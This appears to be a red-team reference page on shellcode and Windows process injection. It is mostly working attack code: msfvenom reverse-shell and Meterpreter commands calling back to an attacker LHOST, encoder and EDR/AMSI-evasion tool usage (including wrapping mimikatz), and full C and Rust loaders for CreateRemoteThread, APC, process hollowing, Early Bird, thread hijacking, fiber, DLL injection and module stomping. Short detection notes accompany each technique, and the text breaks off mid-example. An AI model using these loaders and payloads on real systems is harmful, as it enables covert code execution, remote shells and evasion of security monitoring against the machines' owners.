Shellcode & Injection

Process injection techniques, shellcode generation, and code execution methods. CreateRemoteThread, APC injection, Process Hollowing, Early Bird, and more.

Process injection is the act of executing arbitrary code inside the address space of another running process. It is a core red team technique for defense evasion, privilege escalation, and persistence - allowing an operator to hide malicious activity under a legitimate process name and avoid per-process security controls.

#Shellcode Basics

#msfvenom Generation

Common msfvenom commands for shellcode generation:

# Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f c -b '\x00'
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f raw -o payload.bin

# Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f c

# Output formats
msfvenom -p windows/x64/exec CMD=calc.exe -f c           # C array
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp      # C# byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f python      # Python
msfvenom -p windows/x64/exec CMD=calc.exe -f rust         # Rust byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f powershell   # PowerShell
msfvenom -p windows/x64/exec CMD=calc.exe -f hex          # Hex string
msfvenom -p windows/x64/exec CMD=calc.exe -f base64       # Base64
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o sc.bin  # Raw binary

#Shellcode Formats

The output format determines how the raw shellcode bytes are wrapped for embedding in your loader. Choose the format that matches your loader's language to avoid manual conversion.

Format Language Example Snippet
c C/C++ unsigned char buf[] = "\xfc\x48\x83...";
csharp C# byte[] buf = new byte[510] { 0xfc, 0x48, ... };
python Python buf = b"\xfc\x48\x83..."
powershell PowerShell [Byte[]] $buf = 0xfc,0x48,0x83...
rust Rust let buf: [u8; 510] = [0xfc, 0x48, ...];
raw Binary Raw bytes written to file (no wrapper)
hex Generic fc4883e4f0e8... (hex string)
base64 Generic /EiD5PDo... (base64-encoded raw bytes)
num Generic 0xfc, 0x48, 0x83... (comma-separated values)

#Shellcode Encoders

Encoder Arch Type Detection Description
x64/xor_dynamic x64 XOR Low evasion Dynamic key XOR, simple but fast
x64/xor x64 XOR Low evasion Static key XOR, smallest stub
x64/zutto_dekiru x64 Polymorphic Medium evasion Feedback-based, multiple iterations
x86/shikata_ga_nai x86 Polymorphic XOR Medium evasion Most popular, polymorphic feedback encoder. Each iteration changes the stub.
x86/alpha_mixed x86 Alphanumeric High evasion (filters) Output is mixed-case alphanumeric only. Bypasses character filters.
x86/alpha_upper x86 Alphanumeric High evasion (filters) Uppercase-only alphanumeric output
x86/unicode_mixed x86 Unicode High evasion (filters) Unicode-safe output for UTF-16 environments
x86/countdown x86 XOR Low evasion Single-byte XOR with countdown key
x86/opt_sub x86 Subtraction Low evasion Subtract-based encoder, avoids XOR patterns

Standalone encoders (non-msfvenom):

Tool Description Advantage
SGN Shikata Ga Nai improved Polymorphic, garbage instructions, register awareness, no msfvenom dependency
Donut .NET assembly / PE / DLL to shellcode Converts full binaries to position-independent shellcode with AMSI/ETW bypass
sRDI Shellcode Reflective DLL Injection Converts any DLL to position-independent shellcode
pe_to_shellcode PE to shellcode converter Minimal stub, preserves PE functionality
PEzor Shellcode packer with evasion Donut + syscalls + sleep + unhook + AMSI/ETW bypass
Freeze Payload creation with suspend Creates payloads that suspend before execution for sandbox evasion
# === msfvenom encoding ===

# Single encoder, 5 iterations
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.1 LPORT=4444 \
    -e x64/xor_dynamic -i 5 -b '\x00' -f c

# Chain multiple encoders (pipe raw output)
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.10.1 LPORT=4444 \
    -e x64/xor_dynamic -i 3 -f raw | \
    msfvenom -e x64/zutto_dekiru -i 2 -f c

# List all available encoders with rank
msfvenom --list encoders

# === SGN (standalone) ===
# Install: go install github.com/EgeBalci/sgn@latest
sgn -i payload.bin -o encoded.bin -a 64 -c 5
# -c = encode count, -a = architecture

# === Donut (.NET/PE to shellcode) ===
# Convert .NET assembly to shellcode with AMSI bypass
donut -i SharpTool.exe -o loader.bin -b 1 -a 2
# -b 1 = AMSI bypass, -a 2 = x64, -e 3 = XOR encrypt

# === sRDI (DLL to shellcode) ===
python3 ConvertToShellcode.py -f MyDLL.dll -o shellcode.bin
# Converts DLL to PIC shellcode, calls DllMain on load

# === Bad character avoidance ===
# Exclude null bytes and newlines
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.1 LPORT=4444 \
    -b '\x00\x0a\x0d' -f c
# msfvenom auto-selects best encoder for the bad chars

# === Custom XOR encoder (Python) ===
# When msfvenom encoders are signatured
import os
key = os.urandom(16)
shellcode = open('payload.bin','rb').read()
encoded = bytes([shellcode[i] ^ key[i % len(key)] for i in range(len(shellcode))])
# Prepend key + decoder stub in your loader

#Custom Shellcode Tools

Tool Description
Donut Converts PE, DLL, .NET assemblies, VBS, JScript into position-independent shellcode
ScareCrow EDR evasion payload loader - side-loading, process injection, ETW/AMSI patches
Nimcrypt2 Nim-based PE packer/loader with syscall support and sleep obfuscation
PEzor Converts PE into position-independent shellcode with multiple execution methods
Charlotte C++ framework for shellcode generation with encryption and evasion
Freeze Go-based payload creation tool - creates suspended processes with injected shellcode
# Donut - PE to shellcode
donut -i mimikatz.exe -o loader.bin -a 2 -f 1
# -a 2 = x64, -f 1 = raw output

# ScareCrow - EDR-evasive loader
ScareCrow -I payload.bin -Loader binary -domain microsoft.com

# PEzor
PEzor -sgn -unhook -antidebug -syscalls payload.bin

#Rust Shellcode Runner (Local Execution)

Minimal local shellcode runner using raw FFI. No external crates required - compiles with cargo build --release --target x86_64-pc-windows-gnu.

use std::ptr;
use std::mem;

// Raw FFI declarations - no crate dependencies
extern "system" {
    fn VirtualAlloc(
        addr: *mut u8, size: usize,
        alloc_type: u32, protect: u32
    ) -> *mut u8;
    fn RtlMoveMemory(
        dest: *mut u8, src: *const u8, len: usize
    );
    fn CreateThread(
        attrs: *mut u8, stack_size: usize,
        start: *mut u8, param: *mut u8,
        flags: u32, thread_id: *mut u32
    ) -> *mut u8;
    fn WaitForSingleObject(handle: *mut u8, millis: u32) -> u32;
}

const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;

fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];

    unsafe {
        let addr = VirtualAlloc(
            ptr::null_mut(),
            shellcode.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        );
        RtlMoveMemory(addr, shellcode.as_ptr(), shellcode.len());

        let mut tid: u32 = 0;
        let h_thread = CreateThread(
            ptr::null_mut(), 0,
            addr, ptr::null_mut(),
            0, &mut tid,
        );
        WaitForSingleObject(h_thread, 0xFFFFFFFF);
    }
}

#NASM Shellcode (x64 Linux)

Minimal x64 Linux execve("/bin/sh") shellcode. Assemble with nasm -f elf64 shell.asm -o shell.o && ld shell.o -o shell. Zero null bytes.

; x64 Linux execve("/bin/sh") - 27 bytes, null-free
BITS 64
global _start

_start:
    xor    rsi, rsi          ; argv = NULL
    push   rsi               ; push null terminator
    mov    rdi, 0x68732f2f6e69622f ; "/bin//sh" (little-endian)
    push   rdi
    push   rsp
    pop    rdi               ; rdi = pointer to "/bin//sh"
    xor    rdx, rdx          ; envp = NULL
    mov    al, 59            ; syscall number for execve (0x3b)
    syscall

#Compilation Commands

Language Command
C (MinGW cross-compile) x86_64-w64-mingw32-gcc -o inject.exe inject.c -lkernel32
C (MSVC) cl.exe /Fe:inject.exe inject.c kernel32.lib
Rust (cross-compile) cargo build --release --target x86_64-pc-windows-gnu
C# (Mono/csc) csc /unsafe /out:inject.exe inject.cs
NASM (Linux) nasm -f elf64 shell.asm -o shell.o && ld shell.o -o shell
NASM (Windows) nasm -f win64 stub.asm -o stub.obj

#Process Injection Techniques

#Classic Injection (CreateRemoteThread)

Opens a remote process, allocates memory, writes shellcode, and starts a new thread to execute it. This is the simplest and most well-documented injection method, but also the most heavily detected - virtually every EDR flags CreateRemoteThread calls into foreign processes.

Detection: Sysmon Event 8 (CreateRemoteThread) and ETW kernel thread-creation callbacks catch this trivially.

#include <windows.h>

// Shellcode placeholder
unsigned char shellcode[] = "\xfc\x48\x83...";

int main(void) {
    DWORD pid = 1234; // Target PID

    // 1. Open target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 2. Allocate memory in target (RW first - avoid RWX)
    LPVOID pRemote = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 3. Write shellcode to allocated memory
    WriteProcessMemory(hProcess, pRemote, shellcode, sizeof(shellcode), NULL);

    // 4. Change protection to RX (W^X - write then execute, never both)
    DWORD oldProtect;
    VirtualProtectEx(hProcess, pRemote, sizeof(shellcode),
        PAGE_EXECUTE_READ, &oldProtect);

    // 5. Create remote thread at shellcode address
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

#Classic Injection in Rust

Same technique using raw FFI. No external crates needed - pure extern "system" declarations.

use std::ptr;

extern "system" {
    fn OpenProcess(access: u32, inherit: i32, pid: u32) -> *mut u8;
    fn VirtualAllocEx(
        proc: *mut u8, addr: *mut u8, size: usize,
        alloc_type: u32, protect: u32
    ) -> *mut u8;
    fn WriteProcessMemory(
        proc: *mut u8, base: *mut u8, buf: *const u8,
        size: usize, written: *mut usize
    ) -> i32;
    fn VirtualProtectEx(
        proc: *mut u8, addr: *mut u8, size: usize,
        new_protect: u32, old_protect: *mut u32
    ) -> i32;
    fn CreateRemoteThread(
        proc: *mut u8, attrs: *mut u8, stack: usize,
        start: *mut u8, param: *mut u8,
        flags: u32, tid: *mut u32
    ) -> *mut u8;
    fn WaitForSingleObject(handle: *mut u8, millis: u32) -> u32;
    fn CloseHandle(handle: *mut u8) -> i32;
}

const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF;
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_READWRITE: u32 = 0x04;
const PAGE_EXECUTE_READ: u32 = 0x20;

fn main() {
    let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];
    let pid: u32 = 1234;

    unsafe {
        let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
        let p_remote = VirtualAllocEx(
            h_process, ptr::null_mut(), shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE,
        );
        WriteProcessMemory(
            h_process, p_remote,
            shellcode.as_ptr(), shellcode.len(),
            ptr::null_mut(),
        );

        let mut old_protect: u32 = 0;
        VirtualProtectEx(
            h_process, p_remote, shellcode.len(),
            PAGE_EXECUTE_READ, &mut old_protect,
        );

        let h_thread = CreateRemoteThread(
            h_process, ptr::null_mut(), 0,
            p_remote, ptr::null_mut(),
            0, ptr::null_mut(),
        );
        WaitForSingleObject(h_thread, 0xFFFFFFFF);
        CloseHandle(h_thread);
        CloseHandle(h_process);
    }
}

#API Call Flow

Each injection technique follows a distinct chain of Windows API calls. Understanding these sequences is critical both for building loaders and for recognizing injection behavior in telemetry. EDRs use these exact call patterns as detection signatures.

Technique API Sequence
CreateRemoteThread OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread
QueueUserAPC OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> OpenThread -> QueueUserAPC
NtMapViewOfSection NtCreateSection -> NtMapViewOfSection (local) -> memcpy -> NtMapViewOfSection (remote) -> CreateRemoteThread
Process Hollowing CreateProcess(SUSPENDED) -> NtUnmapViewOfSection -> VirtualAllocEx -> WriteProcessMemory -> SetThreadContext -> ResumeThread
Early Bird CreateProcess(SUSPENDED) -> VirtualAllocEx -> WriteProcessMemory -> QueueUserAPC -> ResumeThread
Module Stomping LoadLibrary(legit.dll) -> VirtualProtectEx -> WriteProcessMemory (overwrite .text)
Fiber Injection ConvertThreadToFiber -> VirtualAlloc -> CreateFiber -> SwitchToFiber
Thread Hijacking OpenThread -> SuspendThread -> GetThreadContext -> VirtualAllocEx -> WriteProcessMemory -> SetThreadContext -> ResumeThread
Callback Injection VirtualAlloc -> memcpy -> EnumWindows / EnumChildWindows / CreateTimerQueueTimer (callback = shellcode)
DLL Injection OpenProcess -> VirtualAllocEx (path) -> WriteProcessMemory (path) -> CreateRemoteThread (LoadLibraryA)

#APC Injection

Queues an APC (Asynchronous Procedure Call) to threads in the target process. The shellcode only executes when a thread enters an alertable wait state (SleepEx, WaitForSingleObjectEx, etc.), so targeting processes with GUI message loops or I/O waits is most reliable. Queuing to all threads increases the odds of hitting an alertable one.

Detection: cross-process QueueUserAPC calls combined with prior VirtualAllocEx/WriteProcessMemory are flagged by most EDRs.

#include <windows.h>
#include <tlhelp32.h>

unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);

int main(void) {
    DWORD pid = 1234;

    // Allocate and write shellcode to target
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID pRemote = VirtualAllocEx(hProcess, NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, pRemote, shellcode, scSize, NULL);

    // Enumerate threads and queue APC to each
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te;
    te.dwSize = sizeof(THREADENTRY32);

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(
                    THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnap, &te));
    }

    CloseHandle(hSnap);
    CloseHandle(hProcess);
    return 0;
}

#Process Hollowing

Creates a legitimate process in a suspended state, unmaps its original PE image from memory, and replaces it with a malicious one. The process appears legitimate in task managers and process listings because the on-disk binary is benign - only the in-memory image is swapped. This is a classic technique for running arbitrary PEs under the guise of a trusted process like svchost.exe.

Detection: memory scanning reveals a mismatch between the on-disk PE and the in-memory image; also NtUnmapViewOfSection on a suspended process is a strong indicator.

#include <windows.h>
#include <winternl.h>

// NtUnmapViewOfSection typedef
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(void) {
    unsigned char peBuffer[] = { /* PE bytes */ };
    DWORD peSize = sizeof(peBuffer);
    DWORD entryPointRVA = 0x1000; // PE entry point RVA

    // Create suspended process
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL,
        NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Get thread context and image base
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // Read PEB to get image base (PEB address is in RDX)
    PVOID pImageBase;
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
        &pImageBase, sizeof(PVOID), NULL);

    // Unmap original image
    pNtUnmapViewOfSection NtUnmapViewOfSection =
        (pNtUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    NtUnmapViewOfSection(pi.hProcess, pImageBase);

    // Allocate and write new PE at original base
    LPVOID pNewBase = VirtualAllocEx(pi.hProcess, pImageBase,
        peSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, pNewBase, peBuffer, peSize, NULL);

    // Update entry point in context (RCX = entry point)
    ctx.Rcx = (DWORD64)pNewBase + entryPointRVA;
    SetThreadContext(pi.hThread, &ctx);

    // Resume - executes the replacement PE
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

#Early Bird Injection

APC queued to the main thread of a newly created suspended process. The APC executes when the thread is resumed, before the process entry point runs. This means the shellcode fires before EDR user-mode hooks (ntdll inline patches) are initialized, making it one of the stealthiest APC-based injection methods.

Detection: monitor for CREATE_SUSPENDED + QueueUserAPC + ResumeThread sequence on newly spawned processes.

#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);

int main(void) {
    // Create suspended process
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL,
        NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Allocate and write shellcode
    LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, pRemote, shellcode, scSize, NULL);

    // Queue APC to main thread BEFORE it initializes
    QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);

    // Resume - APC executes before entry point
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

#Callback-Based Execution

Many Windows API functions accept a user-defined callback pointer (e.g., EnumFonts, EnumWindows, CreateTimerQueueTimer). By passing the address of shellcode as the callback, you get code execution without explicitly creating threads or using well-known injection APIs. This stays local to the current process and uses entirely legitimate API calls.

Detection: behavioral analysis is required since the individual API calls are benign; look for executable allocations followed by enum/timer calls with unusual callback targets.

#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);

int main(void) {
    // Allocate RWX and copy shellcode
    LPVOID pShellcode = VirtualAlloc(NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pShellcode, shellcode, scSize);

    // Execute via callback - many options available:

    // Option 1: EnumFonts
    EnumFonts(GetDC(NULL), NULL, (FONTENUMPROC)pShellcode, 0);

    // Option 2: EnumWindows
    // EnumWindows((WNDENUMPROC)pShellcode, 0);

    // Option 3: Timer queue callback
    // HANDLE hTimer = NULL;
    // CreateTimerQueueTimer(&hTimer, NULL,
    //     (WAITORTIMERCALLBACK)pShellcode, NULL, 0, 0, 0);

    // Option 4: EnumDesktops
    // EnumDesktops(GetProcessWindowStation(),
    //     (DESKTOPENUMPROCA)pShellcode, 0);

    // Option 5: EnumSystemLocales
    // EnumSystemLocalesA((LOCALE_ENUMPROCA)pShellcode, 0);

    return 0;
}

#Thread Hijacking

Suspends an existing thread in the target process, overwrites its instruction pointer (RIP on x64) to point at injected shellcode, then resumes it. No new thread is created - execution is redirected through an already-running thread, which avoids CreateRemoteThread detection. The original thread's execution is effectively lost unless you save and restore its context.

Detection: SuspendThread + GetThreadContext + SetThreadContext on a remote thread is the telltale pattern; Sysmon Event 8 also catches this.

#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);

int main(void) {
    DWORD pid = 1234;
    DWORD tid = 5678; // Target thread ID

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // Open and suspend target thread
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    SuspendThread(hThread);

    // Get current context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);

    // Allocate shellcode in target process
    LPVOID pRemote = VirtualAllocEx(hProcess, NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, pRemote, shellcode, scSize, NULL);

    // Redirect RIP to shellcode
    ctx.Rip = (DWORD64)pRemote;
    SetThreadContext(hThread, &ctx);

    // Resume execution at shellcode
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

#Fiber Injection

Windows fibers are lightweight user-mode execution contexts that run cooperatively within a single thread. By converting the current thread to a fiber, then creating a new fiber whose start routine is the shellcode address, you achieve code execution entirely within your own process - no cross-process API calls at all.

Detection: very difficult to detect since fibers are user-mode constructs with no kernel transitions; requires behavioral heuristics or memory scanning for executable allocations.

#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);

int main(void) {
    // Convert current thread to fiber
    LPVOID pMainFiber = ConvertThreadToFiber(NULL);

    // Allocate executable memory
    LPVOID pShellcode = VirtualAlloc(NULL, scSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pShellcode, shellcode, scSize);

    // Create fiber pointing to shellcode
    LPVOID pFiber = CreateFiber(0,
        (LPFIBER_START_ROUTINE)pShellcode, NULL);

    // Switch to fiber (executes shellcode)
    SwitchToFiber(pFiber);

    return 0;
}

#DLL Injection

Writes the path of a malicious DLL into the target process's memory, then creates a remote thread that calls LoadLibraryA with that path as the argument. When LoadLibraryA executes in the target, it loads the DLL and runs its DllMain entry point. The DLL must be on disk (or an accessible UNC path), which makes this technique easier to detect via file-based scanning.

Detection: Sysmon Event 7 (ImageLoad) catches the DLL load; also flagged by CreateRemoteThread targeting LoadLibraryA.

#include <windows.h>
#include <string.h>

int main(void) {
    DWORD pid = 1234;
    const char *dllPath = "C:\\Temp\\payload.dll";
    SIZE_T pathLen = strlen(dllPath) + 1;

    // 1. Open target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 2. Allocate space for DLL path in target
    LPVOID pRemote = VirtualAllocEx(hProcess, NULL, pathLen,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 3. Write DLL path to target memory
    WriteProcessMemory(hProcess, pRemote, dllPath, pathLen, NULL);

    // 4. Resolve LoadLibraryA address (same in all processes - ASLR per-boot)
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPTHREAD_START_ROUTINE pLoadLib =
        (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");

    // 5. Create remote thread calling LoadLibraryA(pRemote)
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        pLoadLib, pRemote, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

#Module Stomping

Loads a legitimate DLL into the target process, then overwrites its .text section with shellcode. The executable memory already exists (it is a mapped DLL) so there is no need to allocate new RWX memory - a strong detection indicator is avoided. The loaded DLL's path looks benign in process listings and module lists.

Detection: memory integrity checks comparing the on-disk DLL with the in-memory copy reveal the stomp; also periodic .text section hashing by advanced EDRs.

#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);

int main(void) {
    DWORD pid = 1234;

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 1. Load a legitimate DLL into target via DLL injection
    const char *dllPath = "C:\\Windows\\System32\\amsi.dll";
    SIZE_T pathLen = strlen(dllPath) + 1;
    LPVOID pPath = VirtualAllocEx(hProcess, NULL, pathLen,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pPath, dllPath, pathLen, NULL);

    HMODULE hK32 = GetModuleHandleA("kernel32.dll");
    LPTHREAD_START_ROUTINE pLoadLib =
        (LPTHREAD_START_ROUTINE)GetProcAddress(hK32, "LoadLibraryA");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        pLoadLib, pPath, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    // 2. Get the base address of the loaded DLL in the target
    // (resolve via EnumProcessModules or known offset)
    HMODULE hRemoteDll = NULL; // Resolve the loaded module base
    LPVOID pText = (LPVOID)((DWORD_PTR)hRemoteDll + 0x1000); // .text RVA

    // 3. Change .text to RWX, write shellcode, restore to RX
    DWORD oldProtect;
    VirtualProtectEx(hProcess, pText, scSize,
        PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(hProcess, pText, shellcode, scSize, NULL);
    VirtualProtectEx(hProcess, pText, scSize,
        PAGE_EXECUTE_READ, &oldProtect);

    // 4. Execute via CreateRemoteThread at overwritten .text
    HANDLE hExec = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pText, NULL, 0, NULL);
    WaitForSingleObject(hExec, INFINITE);

    CloseHandle(hExec);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

#Process Hollowing in Rust

Basic process hollowing using raw FFI. Creates a suspended process, unmaps the original image, and replaces it with shellcode/PE.

use std::ptr;
use std::mem;

#[repr(C)]
struct StartupInfoA {
    cb: u32,
    reserved: *mut u8,
    desktop: *mut u8,
    title: *mut u8,
    x: u32, y: u32, x_size: u32, y_size: u32,
    x_count_chars: u32, y_count_chars: u32,
    fill_attribute: u32,
    flags: u32,
    show_window: u16,
    cb_reserved2: u16,
    lp_reserved2: *mut u8,
    std_input: *mut u8,
    std_output: *mut u8,
    std_error: *mut u8,
}

#[repr(C)]
struct ProcessInformation {
    h_process: *mut u8,
    h_thread: *mut u8,
    process_id: u32,
    thread_id: u32,
}

#[repr(C)]
struct Context {
    p1_home: u64, p2_home: u64, p3_home: u64,
    p4_home: u64, p5_home: u64, p6_home: u64,
    context_flags: u32, mx_csr: u32,
    seg_cs: u16, seg_ds: u16, seg_es: u16,
    seg_fs: u16, seg_gs: u16, seg_ss: u16,
    eflags: u32, dr0: u64, dr1: u64, dr2: u64,
    dr3: u64, dr6: u64, dr7: u64,
    rax: u64, rcx: u64, rdx: u64, rbx: u64,
    rsp: u64, rbp: u64, rsi: u64, rdi: u64,
    r8: u64, r9: u64, r10: u64, r11: u64,
    r12: u64, r13: u64, r14: u64, r15: u64,
    rip: u64,
    // Remaining CONTEXT fields omitted for brevity
    // Full struct is 1232 bytes on x64
    _padding: [u8; 4096],
}

extern "system" {
    fn CreateProcessA(
        app: *const u8, cmd: *mut u8,
        proc_attrs: *mut u8, thread_attrs: *mut u8,
        inherit: i32, flags: u32, env: *mut u8,
        dir: *const u8, si: *mut StartupInfoA,
        pi: *mut ProcessInformation
    ) -> i32;
    fn GetThreadContext(thread: *mut u8, ctx: *mut Context) -> i32;
    fn SetThreadContext(thread: *mut u8, ctx: *const Context) -> i32;
    fn ReadProcessMemory(
        proc: *mut u8, base: *const u8, buf: *mut u8,
        size: usize, read: *mut usize
    ) -> i32;
    fn VirtualAllocEx(
        proc: *mut u8, addr: *mut u8, size: usize,
        alloc_type: u32, protect: u32
    ) -> *mut u8;
    fn WriteProcessMemory(
        proc: *mut u8, base: *mut u8, buf: *const u8,
        size: usize, written: *mut usize
    ) -> i32;
    fn ResumeThread(thread: *mut u8) -> u32;
    fn CloseHandle(handle: *mut u8) -> i32;
}

// NtUnmapViewOfSection from ntdll
#[link(name = "ntdll")]
extern "system" {
    fn NtUnmapViewOfSection(
        proc: *mut u8, base: *mut u8
    ) -> i32;
}

const CREATE_SUSPENDED: u32 = 0x00000004;
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const CONTEXT_FULL: u32 = 0x10000B;

fn main() {
    let pe_buffer: Vec<u8> = vec![/* PE bytes */];
    let entry_rva: u64 = 0x1000;
    let target = b"C:\\Windows\\System32\\svchost.exe\0";

    unsafe {
        let mut si: StartupInfoA = mem::zeroed();
        si.cb = mem::size_of::<StartupInfoA>() as u32;
        let mut pi: ProcessInformation = mem::zeroed();

        CreateProcessA(
            target.as_ptr(), ptr::null_mut(),
            ptr::null_mut(), ptr::null_mut(),
            0, CREATE_SUSPENDED, ptr::null_mut(),
            ptr::null(), &mut si, &mut pi,
        );

        let mut ctx: Context = mem::zeroed();
        ctx.context_flags = CONTEXT_FULL;
        GetThreadContext(pi.h_thread, &mut ctx);

        // Read image base from PEB (PEB address in RDX)
        let mut image_base: u64 = 0;
        ReadProcessMemory(
            pi.h_process,
            (ctx.rdx + 0x10) as *const u8,
            &mut image_base as *mut u64 as *mut u8,
            8, ptr::null_mut(),
        );

        // Unmap original image
        NtUnmapViewOfSection(pi.h_process, image_base as *mut u8);

        // Allocate and write replacement PE
        let new_base = VirtualAllocEx(
            pi.h_process, image_base as *mut u8,
            pe_buffer.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
        );
        WriteProcessMemory(
            pi.h_process, new_base,
            pe_buffer.as_ptr(), pe_buffer.len(),
            ptr::null_mut(),
        );

        // Update entry point (RCX in suspended context)
        ctx.rcx = new_base as u64 + entry_rva;
        SetThreadContext(pi.h_thread, &ctx);
        ResumeThread(pi.h_thread);

        CloseHandle(pi.h_thread);
        CloseHandle(pi.h_process);
    }
}

#APC Injection in Rust

use std::ptr;

#[repr(C)]
struct ThreadEntry32 {
    dw_size: u32,
    cnt_usage: u32,
    th32_thread_id: u32,
    th32_owner_process_id: u32,
    tp_base_pri: i32,
    tp_delta_pri: i32,
    dw_flags: u32,
}

extern "system" {
    fn OpenProcess(access: u32, inherit: i32, pid: u32) -> *mut u8;
    fn VirtualAllocEx(
        proc: *mut u8, addr: *mut u8, size: usize,
        alloc_type: u32, protect: u32
